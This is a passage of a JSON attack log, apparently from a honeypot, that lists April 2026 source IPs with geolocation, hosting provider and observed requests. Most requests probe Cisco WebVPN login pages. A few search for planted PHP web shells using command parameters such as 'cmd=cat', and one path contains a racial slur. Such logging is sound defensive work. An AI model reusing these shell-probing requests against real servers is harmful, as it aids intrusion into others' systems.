      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 136557,
      "as_org": "Host Universal Pty Ltd"
    },
    "166.88.211.180": {
      "attack_count": 21,
      "first_seen": "2026-04-12T01:59:47.493Z",
      "last_seen": "2026-04-13T08:19:17.695Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 214238,
      "as_org": "Host Telecom Ltd"
    },
    "172.120.209.52": {
      "attack_count": 21,
      "first_seen": "2026-04-13T06:10:39.410Z",
      "last_seen": "2026-04-15T02:25:30.826Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 214238,
      "as_org": "Host Telecom Ltd"
    },
    "172.121.52.162": {
      "attack_count": 21,
      "first_seen": "2026-04-13T05:51:58.141Z",
      "last_seen": "2026-04-13T08:31:05.090Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 214238,
      "as_org": "Host Telecom Ltd"
    },
    "193.228.49.73": {
      "attack_count": 21,
      "first_seen": "2026-04-13T11:52:16.577Z",
      "last_seen": "2026-04-14T02:10:14.274Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 62240,
      "as_org": "Clouvider Limited"
    },
    "23.234.106.45": {
      "attack_count": 21,
      "first_seen": "2026-04-14T01:33:30.525Z",
      "last_seen": "2026-04-29T23:46:39.248Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Dallas",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.80.105": {
      "attack_count": 21,
      "first_seen": "2026-04-08T09:58:40.540Z",
      "last_seen": "2026-04-29T11:03:27.424Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Seattle",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.81.174": {
      "attack_count": 21,
      "first_seen": "2026-04-10T10:22:41.947Z",
      "last_seen": "2026-04-29T02:41:03.022Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Seattle",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.95.106": {
      "attack_count": 21,
      "first_seen": "2026-04-10T10:33:37.691Z",
      "last_seen": "2026-04-25T10:45:31.216Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "San Jose",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "118.194.228.167": {
      "attack_count": 20,
      "first_seen": "2026-04-10T04:56:41.415Z",
      "last_seen": "2026-04-10T04:57:33.246Z",
      "ports": [],
      "event_types": [
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/blank.html HTTP/1.1\" 200 -",
        "\"GET / HTTP/1.1\" 200 -",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"GET /+CSCOE+/win.js HTTP/1.1\" 200 -",
        "\"GET /config.json HTTP/1.1\" 404 -",
        "\"GET /favicon.ico HTTP/1.1\" 404 -",
        "\"GET /robots.txt HTTP/1.1\" 404 -",
        "\"GET /sitemap.xml HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "Japan",
      "country_code": "JP",
      "city": "Tokyo",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED"
    },
    "23.234.82.30": {
      "attack_count": 18,
      "first_seen": "2026-04-08T09:50:21.135Z",
      "last_seen": "2026-04-28T05:28:24.634Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Seattle",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.94.227": {
      "attack_count": 18,
      "first_seen": "2026-04-08T12:14:38.525Z",
      "last_seen": "2026-04-25T15:07:42.616Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "San Jose",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.162.40.233": {
      "attack_count": 17,
      "first_seen": "2026-04-16T06:16:22.221Z",
      "last_seen": "2026-04-30T02:43:48.309Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 400882,
      "as_org": "Cyber Data LLC"
    },
    "138.199.43.88": {
      "attack_count": 15,
      "first_seen": "2026-04-08T09:25:58.433Z",
      "last_seen": "2026-04-25T01:34:01.946Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Seattle",
      "asn": 212238,
      "as_org": "Datacamp Limited"
    },
    "142.252.91.27": {
      "attack_count": 15,
      "first_seen": "2026-04-13T06:17:17.050Z",
      "last_seen": "2026-04-13T12:33:40.018Z",
      "ports": [],
      "event_types": [
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET / HTTP/1.1\" 200 -",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 214238,
      "as_org": "Host Telecom Ltd"
    },
    "155.2.191.75": {
      "attack_count": 15,
      "first_seen": "2026-04-18T03:15:56.243Z",
      "last_seen": "2026-04-29T21:15:58.116Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 136557,
      "as_org": "Host Universal Pty Ltd"
    },
    "173.249.255.71": {
      "attack_count": 15,
      "first_seen": "2026-04-18T08:17:21.997Z",
      "last_seen": "2026-04-25T12:53:18.785Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Chicago",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.168.216.61": {
      "attack_count": 15,
      "first_seen": "2026-04-15T10:31:51.989Z",
      "last_seen": "2026-04-30T01:08:51.697Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 399935,
      "as_org": "Hayashimo LLC"
    },
    "23.234.102.31": {
      "attack_count": 15,
      "first_seen": "2026-04-08T10:08:52.513Z",
      "last_seen": "2026-04-28T03:29:30.323Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "New York",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.105.236": {
      "attack_count": 15,
      "first_seen": "2026-04-13T15:31:29.505Z",
      "last_seen": "2026-04-25T00:24:51.305Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Dallas",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.110.233": {
      "attack_count": 15,
      "first_seen": "2026-04-18T03:05:11.792Z",
      "last_seen": "2026-04-27T15:09:52.822Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Atlanta",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.118.106": {
      "attack_count": 15,
      "first_seen": "2026-04-18T02:35:00.306Z",
      "last_seen": "2026-04-27T23:41:50.120Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.81.30": {
      "attack_count": 15,
      "first_seen": "2026-04-10T13:49:33.346Z",
      "last_seen": "2026-04-29T23:26:26.954Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Seattle",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.88.48": {
      "attack_count": 15,
      "first_seen": "2026-04-12T01:40:32.633Z",
      "last_seen": "2026-04-29T10:06:52.134Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Phoenix",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.91.31": {
      "attack_count": 15,
      "first_seen": "2026-04-12T00:58:18.522Z",
      "last_seen": "2026-04-24T13:52:54.503Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Phoenix",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "5.252.189.192": {
      "attack_count": 15,
      "first_seen": "2026-04-13T07:47:07.476Z",
      "last_seen": "2026-04-14T01:07:38.579Z",
      "ports": [],
      "event_types": [
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET / HTTP/1.1\" 200 -",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "New York",
      "asn": 62240,
      "as_org": "Clouvider Limited"
    },
    "68.235.46.8": {
      "attack_count": 15,
      "first_seen": "2026-04-08T20:45:06.513Z",
      "last_seen": "2026-04-19T01:41:49.342Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Chicago",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "103.251.26.227": {
      "attack_count": 12,
      "first_seen": "2026-04-16T01:31:59.644Z",
      "last_seen": "2026-04-24T19:17:00.003Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Los Angeles",
      "asn": 203020,
      "as_org": "HostRoyale Technologies Pvt Ltd"
    },
    "103.251.27.62": {
      "attack_count": 12,
      "first_seen": "2026-04-08T11:16:56.420Z",
      "last_seen": "2026-04-24T17:29:50.507Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Los Angeles",
      "asn": 203020,
      "as_org": "HostRoyale Technologies Pvt Ltd"
    },
    "146.70.187.179": {
      "attack_count": 12,
      "first_seen": "2026-04-08T17:00:24.025Z",
      "last_seen": "2026-04-27T13:52:45.111Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Miami",
      "asn": 9009,
      "as_org": "M247 Europe SRL"
    },
    "146.70.211.176": {
      "attack_count": 12,
      "first_seen": "2026-04-10T02:00:06.327Z",
      "last_seen": "2026-04-27T10:43:13.104Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Dallas",
      "asn": 9009,
      "as_org": "M247 Europe SRL"
    },
    "171.25.193.78": {
      "attack_count": 12,
      "first_seen": "2026-04-24T09:05:49.520Z",
      "last_seen": "2026-04-24T09:09:26.728Z",
      "ports": [],
      "event_types": [
        "\"GET /1.php?badr HTTP/1.1\" 404 -",
        "\"GET /Z3R0-C00l.php.call?cmd=cat+*.call HTTP/1.1\" 404 -",
        "\"GET /admin/modules/admindashboard/phpsysinfo/ass.php? HTTP/1.1\" 404 -",
        "\"GET /admin/modules/phpinf/page.phpinf.php?komand=cat+page.phpinf.php&1 HTTP/1.1\" 404 -",
        "\"GET /nigga/ari.conf HTTP/1.1\" 404 -",
        "\"GET /panel/main.php.1?35 HTTP/1.1\" 404 -",
        "\"GET /panel/main.php.2?22 HTTP/1.1\" 404 -",
        "\"GET /panel/main.php.2?4\u00d8\u00b6 HTTP/1.1\" 404 -",
        "\"GET /panel/webadmin.php? HTTP/1.1\" 404 -",
        "\"GET /phpversions.php?module=upload HTTP/1.1\" 404 -",
        "\"GET /phpversions.php?module=upload&11 HTTP/1.1\" 404 -",
        "\"GET /vamp.php?c=cat+vamp.php& HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "Sweden",
      "country_code": "SE",
      "city": null,
      "asn": 198093,
      "as_org": "Foreningen for digitala fri- och rattigheter"
    },
    "23.234.100.175": {
      "attack_count": 12,
      "first_seen": "2026-04-11T00:53:40.314Z",
      "last_seen": "2026-04-25T16:14:37.343Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "New York",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.118.61": {
      "attack_count": 12,
      "first_seen": "2026-04-13T17:14:35.584Z",
      "last_seen": "2026-04-30T02:47:12.915Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.71.99": {
      "attack_count": 12,
      "first_seen": "2026-04-09T02:53:04.904Z",
      "last_seen": "2026-04-24T10:11:49.631Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Denver",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.99.185": {
      "attack_count": 12,
      "first_seen": "2026-04-18T06:32:20.118Z",
      "last_seen": "2026-04-22T05:02:06.303Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "68.235.46.137": {
      "attack_count": 12,
      "first_seen": "2026-04-14T01:54:50.669Z",
      "last_seen": "2026-04-25T05:43:56.006Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Chicago",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "138.199.43.82": {
      "attack_count": 9,
      "first_seen": "2026-04-13T11:53:00.229Z",
      "last_seen": "2026-04-24T12:01:36.966Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Seattle",
      "asn": 212238,
      "as_org": "Datacamp Limited"
    },
    "146.70.165.154": {
      "attack_count": 9,
      "first_seen": "2026-04-16T02:27:35.450Z",
      "last_seen": "2026-04-21T16:43:29.879Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "New York",
      "asn": 9009,
      "as_org": "M247 Europe SRL"
    },
    "146.70.187.48": {
      "attack_count": 9,
      "first_seen": "2026-04-08T14:47:54.027Z",
      "last_seen": "2026-04-18T17:30:52.233Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Miami",
      "asn": 9009,
      "as_org": "M247 Europe SRL"
    },
    "185.220.101.152": {
      "attack_count": 9,
      "first_seen": "2026-04-24T09:08:22.892Z",
      "last_seen": "2026-04-24T09:08:36.787Z",
      "ports": [],
      "event_types": [
        "\"GET /0x4148.php.call HTTP/1.1\" 404 -",
        "\"GET /445122A555.php?2ew HTTP/1.1\" 404 -",
        "\"GET /Ahmed01126291919.php?qwe HTTP/1.1\" 404 -",
        "\"GET /admin/bootstrap.inc.php?mgp=danc3Uf%40t HTTP/1.1\" 404 -",
        "\"GET /admin/config.php?config HTTP/1.1\" 404 -",
        "\"GET /recordings/azoofo.php?p=evil@access&c=cat+azoofo.php&xx HTTP/1.1\" 404 -",
        "\"GET /vtigercrm/AboSala7.php?asd HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "Germany",
      "country_code": "DE",
      "city": "Brandenburg",
      "asn": 60729,
      "as_org": "Stiftung Erneuerbare Freiheit"
    },
    "23.234.75.71": {
      "attack_count": 9,
      "first_seen": "2026-04-21T16:05:21.596Z",
      "last_seen": "2026-04-30T00:03:38.699Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Los Angeles",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.81.99": {
      "attack_count": 9,
      "first_seen": "2026-04-10T07:21:07.209Z",
      "last_seen": "2026-04-26T01:26:15.904Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Seattle",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "68.235.46.120": {
      "attack_count": 9,
      "first_seen": "2026-04-10T11:21:10.277Z",
      "last_seen": "2026-04-11T05:24:53.616Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Chicago",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "79.127.222.211": {
      "attack_count": 9,
      "first_seen": "2026-04-08T16:35:29.036Z",
      "last_seen": "2026-04-24T20:20:26.010Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "McAllen",
      "asn": 60068,
      "as_org": "Datacamp Limited"
    },
    "141.133.5.14": {
      "attack_count": 7,
      "first_seen": "2026-04-13T16:42:07.533Z",
      "last_seen": "2026-04-13T16:42:18.463Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "West Perrine",
      "asn": 62240,
      "as_org": "Clouvider Limited"
    },
    "176.100.146.188": {
      "attack_count": 7,
      "first_seen": "2026-04-13T15:29:20.418Z",
      "last_seen": "2026-04-13T15:29:31.839Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "New York",
      "asn": 204957,
      "as_org": "Green Floid LLC"
    },
    "192.177.24.220": {
      "attack_count": 7,
      "first_seen": "2026-04-13T03:28:20.748Z",
      "last_seen": "2026-04-13T03:28:32.099Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 214238,
      "as_org": "Host Telecom Ltd"
    },
    "193.8.75.3": {
      "attack_count": 7,
      "first_seen": "2026-04-14T01:02:27.707Z",
      "last_seen": "2026-04-14T01:02:44.561Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
